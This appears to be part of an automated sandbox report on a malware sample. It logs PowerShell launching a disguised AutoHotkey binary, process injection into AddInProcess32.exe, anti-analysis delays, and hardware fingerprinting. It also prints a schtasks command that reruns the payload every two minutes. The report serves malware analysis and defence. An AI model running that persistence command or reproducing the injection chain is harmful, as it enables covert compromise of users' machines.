                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4490Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4536Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeWindow / User API: threadDelayed 6812Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeWindow / User API: threadDelayed 3065Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeAPI coverage: 1.1 %
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7488Thread sleep time: -6456360425798339s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7428Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7756Thread sleep count: 6812 > 30Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7976Thread sleep count: 3065 > 30Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8080Thread sleep time: -16602069666338586s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7620Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7640Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7796Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7840Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7832Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7860Thread sleep time: -922337203685477s >= -30000s
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_BaseBoard
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_BIOS
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140022C90 GetKeyboardLayout followed by cmp: cmp dl, 00000019h and CTI: ja 0000000140022E0Dh country: Russian (ru)19_2_0000000140022C90
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002D407 GetKeyboardLayout followed by cmp: cmp ax, 0020h and CTI: je 000000014002D639h country: Urdu (ur)19_2_000000014002D407
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002D407 GetKeyboardLayout followed by cmp: cmp eax, 5dh and CTI: ja 000000014002D639h country: Inuktitut (iu)19_2_000000014002D407
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002D40F GetKeyboardLayout followed by cmp: cmp ax, 0020h and CTI: je 000000014002D639h country: Urdu (ur)19_2_000000014002D40F
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002D40F GetKeyboardLayout followed by cmp: cmp eax, 5dh and CTI: ja 000000014002D639h country: Inuktitut (iu)19_2_000000014002D40F
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002D416 GetKeyboardLayout followed by cmp: cmp ax, 0020h and CTI: je 000000014002D639h country: Urdu (ur)19_2_000000014002D416
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002D416 GetKeyboardLayout followed by cmp: cmp eax, 5dh and CTI: ja 000000014002D639h country: Inuktitut (iu)19_2_000000014002D416
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002D43D GetKeyboardLayout followed by cmp: cmp ax, 0020h and CTI: je 000000014002D639h country: Urdu (ur)19_2_000000014002D43D
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002D43D GetKeyboardLayout followed by cmp: cmp eax, 5dh and CTI: ja 000000014002D639h country: Inuktitut (iu)19_2_000000014002D43D
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002D461 GetKeyboardLayout followed by cmp: cmp ax, 0020h and CTI: je 000000014002D639h country: Urdu (ur)19_2_000000014002D461
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002D461 GetKeyboardLayout followed by cmp: cmp eax, 5dh and CTI: ja 000000014002D639h country: Inuktitut (iu)19_2_000000014002D461
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002D485 GetKeyboardLayout followed by cmp: cmp ax, 0020h and CTI: je 000000014002D639h country: Urdu (ur)19_2_000000014002D485
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002D485 GetKeyboardLayout followed by cmp: cmp eax, 5dh and CTI: ja 000000014002D639h country: Inuktitut (iu)19_2_000000014002D485
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014001D580 GetKeyboardLayout followed by cmp: cmp ecx, 0ah and CTI: jl 000000014001D8E2h country: Spanish (es)19_2_000000014001D580
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400666A0 GetLocalTime followed by cmp: cmp word ptr [rbx], cx and CTI: je 00000001400669D3h19_2_00000001400666A0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400666A0 GetLocalTime followed by cmp: cmp dx, ax and CTI: je 0000000140066893h19_2_00000001400666A0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400BA370 FindFirstFileW,FindClose,FindFirstFileW,FindClose,19_2_00000001400BA370
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400BA270 GetFileAttributesW,FindFirstFileW,FindClose,19_2_00000001400BA270
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400742C0 FindFirstFileW,GetTickCount,PeekMessageW,GetTickCount,FindNextFileW,FindClose,GetLastError,FindFirstFileW,GetTickCount,PeekMessageW,GetTickCount,_swprintf,FindNextFileW,FindClose,19_2_00000001400742C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014004A390 FindFirstFileW,FindNextFileW,FindClose,GetTickCount,FindNextFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,19_2_000000014004A390
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008E5C0 GetFileAttributesW,FindFirstFileW,FindClose,19_2_000000014008E5C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140074620 FindFirstFileW,GetLastError,FindClose,FileTimeToLocalFileTime,FileTimeToSystemTime,_swprintf,free,19_2_0000000140074620
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140074C70 CreateFileW,GetFileSizeEx,CloseHandle,FindFirstFileW,GetLastError,FindClose,19_2_0000000140074C70
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008DFD0 GetFullPathNameW,GetFullPathNameW,GetFileAttributesW,GetFileAttributesW,FindFirstFileW,GetLastError,wcsncpy,GetTickCount,PeekMessageW,GetTickCount,FindNextFileW,FindClose,MoveFileW,DeleteFileW,MoveFileW,GetLastError,CopyFileW,GetLastError,19_2_000000014008DFD0
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeThread delayed: delay time: 922337203685477
                Source: AddInProcess32.exe, 00000006.00000002.4232692392.0000000004E70000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140020570 BlockInput,free,BlockInput,19_2_0000000140020570
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400DF2C0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,19_2_00000001400DF2C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140008040 GetSystemDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,FreeLibrary,GetProcAddress,FreeLibrary,19_2_0000000140008040
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400E7758 GetProcessHeap,HeapAlloc,_errno,_errno,__doserrno,_errno,GetProcessHeap,HeapFree,SetEndOfFile,_errno,__doserrno,GetLastError,19_2_00000001400E7758
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400DF2C0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,19_2_00000001400DF2C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400DB8A8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,19_2_00000001400DB8A8
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400E1F04 SetUnhandledExceptionFilter,19_2_00000001400E1F04
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: page read and write | page guardJump to behavior

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Allocates memory in foreign processes
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 protect: page execute and read and writeJump to behavior
                Injects a PE file into a foreign processes
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5AJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5AJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5AJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5AJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5AJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5AJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5AJump to behavior
                Writes to foreign memory regions
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 416000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 418000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 628008Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 416000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 418000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 11FA008Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 416000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 418000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: CBD008Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 416000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 418000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 3FB008Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 416000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 418000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 705008Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 416000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 418000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 65F008Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 416000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 418000Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7DA008Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014004FA70 _swprintf,CreateProcessW,CloseHandle,GetLastError,SetCurrentDirectoryW,GetFileAttributesW,SetCurrentDirectoryW,ShellExecuteExW,GetModuleHandleW,GetProcAddress,CloseHandle,GetLastError,FormatMessageW,19_2_000000014004FA70
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014001F7C0 GetCurrentThreadId,GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,BlockInput,GetForegroundWindow,GetAsyncKeyState,keybd_event,GetAsyncKeyState,keybd_event,GetAsyncKeyState,BlockInput,19_2_000000014001F7C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008E770 mouse_event,19_2_000000014008E770
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\Documents\AutoHotkey64.exe "C:\Users\Public\Documents\AutoHotkey64.exe" Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn 3losh /tr C:\Users\Public\Documents\AutoHotkey64.exe /sc minute /mo 2 /st 04:23 /fJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: AddInProcess32.exe, 00000006.00000002.4213601750.0000000002921000.00000004.00000800.00020000.00000000.sdmp, AutoHotkey64.exeBinary or memory string: Program Manager
                Source: AutoHotkey64.exeBinary or memory string: Shell_TrayWnd
                Source: AutoHotkey64.exeBinary or memory string: Progman
                Source: powershell.exe, 00000000.00000002.1812122999.0000012DD089D000.00000004.00000800.00020000.00000000.sdmp, AutoHotkey64.exe, 00000002.00000000.1778420471.00000001400EE000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey64.exe, 00000004.00000000.1796075931.00000001400EE000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: TextLEFTLRIGHTRMIDDLEMX1X2WUWDWLWR{Blind}{ClickLl{}^+!#{}RawTempASC U+ ,LWin RWin LShift RShift LCtrl RCtrl LAlt RAlt SYSTEM\CurrentControlSet\Control\Keyboard Layouts\Layout FileKbdLayerDescriptorsc%03Xvk%02XSCALTDOWNALTUPSHIFTDOWNSHIFTUPCTRLDOWNCONTROLDOWNCTRLUPCONTROLUPLWINDOWNLWINUPRWINDOWNRWINUPRtlGetVersionntdll.dll%u.%u.%uStdOutAllUnreachableClassOverwriteUseEnvLocalSameAsGlobalUseUnsetGlobalUseUnsetLocalYYYYYWeekYearYDayWorkingDirWinDirWinDelayWDayUserNameTitleMatchModeSpeedTitleMatchModeTimeSinceThisHotkeyTimeSincePriorHotkeyTimeIdlePhysicalTimeIdleMouseTimeIdleKeyboardTimeIdleTickCountThisMenuItemPosThisMenuItemThisMenuThisLabelThisHotkeyThisFuncStoreCapslockModeStartupCommonStartupStartMenuCommonStartMenuSecScriptNameScriptHwndScriptFullPathScriptDirScreenWidthScreenHeightScreenDPIRegViewPtrSizeProgramsCommonProgramsPriorKeyPriorHotkeyOSVersionOSTypeNumBatchLinesNowUTCNowMyDocumentsMSecMouseDelayPlayMouseDelayMonMMMMMMMMMMinMDayLoopRegTypeLoopRegTimeModifiedLoopRegSubKeyLoopRegNameLoopRegKeyLoopReadLineLoopFileTimeModifiedLoopFileTimeCreatedLoopFileTimeAccessedLoopFileSizeMBLoopFileSizeKBLoopFileSizeLoopFileShortPathLoopFileShortNameLoopFilePathLoopFileNameLoopFileLongPathLoopFileFullPathLoopFileExtLoopFileDirLoopFileAttribLoopFieldLineNumberLineFileLastErrorLanguageKeyDurationPlayKeyDurationKeyDelayPlayKeyDelayIsUnicodeIsSuspendedIsPausedIsCriticalIsCompiledIsAdminIs64bitOSIPAddress4IPAddress3IPAddress2IPAddress1InitialWorkingDirIndexIconTipIconNumberIconHiddenIconFileHourGuiYGuiXGuiWidthGuiHeightGuiEventGuiControlEventFormatIntegerFormatFloatExitReasonEventInfoEndCharDesktopCommonDesktopDefaultTreeViewDefaultMouseSpeedDefaultListViewDefaultGuiDDDDDDDDDCursorCoordModeToolTipCoordModePixelCoordModeMouseCoordModeMenuCoordModeCaretControlDelayComputerNameCaretYCaretXBatchLinesAppDataCommonAppDataAhkVersionAhkPathTrueProgramFilesFalseComSpecClipboardAllClipboard...%s[%Iu of %Iu]: %-1.60s%sPropertyRegExMatch\:\:REG_SZREG_EXPAND_SZREG_MULTI_SZREG_DWORDREG_BINARYDefault3264MasterSpeakersHeadphonesDigitalLineMicrophoneSynthCDTelephonePCSpeakerWaveAuxAnalogVolVolumeOnOffMuteMonoLoudnessStereoEnhBassBoostPanQSoundPanBassTrebleEqualizerRegExFASTSLOWMonitorCountMonitorPrimaryMonitorMonitorWorkAreaMonitorNameAscChrDerefHTMLModPowExpSqrtLogLnRoundCeilFloorAbsSinCosTanASinACosATanBitAndBitOrBitXOrBitNotBitShiftLeftBitShiftRightShowAddRenameCheckUncheckToggleCheckEnableDisableToggleEnableStandardNoStandardColorNoDefaultDeleteAllTipIconNoIconMainWindowNoMainWindowSubmitCancelHideMinimizeMaximizeRestoreDestroyMarginFontListViewTreeViewFlashNewMoveMoveDrawFocusChooseChooseStringPosFocusVEnabledVisibleHwndNameButtonCheckboxRadioDDLDropDownListComboBoxListBoxUpDownSliderTab2Tab3GroupBoxPicPictureDateTimeMonthCalStatusBarActiveXLinkCustomPriorityInterruptNoTimersCloseWaitCloseStyleExStyleShowDropDownHideDropDownTabLeftTabRightEditPasteCheckedFindStringChoiceListLineCountCurrentLineCurrentColSelectedEjectLockUnlockLabelFileSystemFSSetLabel:SerialTypeStatus
                Source: AutoHotkey64.exe, 00000013.00000002.4204174495.00000000007F9000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: ,Progman
                Source: AutoHotkey64.exe.0.drBinary or memory string: "%-1.300s"The maximum number of MsgBoxes has been reached.IsHungAppWindowDwmGetWindowAttributedwmapi.dllahk_idpidgroup%s%uProgram ManagerProgmanWorkerWError text not found (please report)Q\E{0,DEFINEUTF16)UCP)NO_START_OPT)CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument is compiled in 8 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
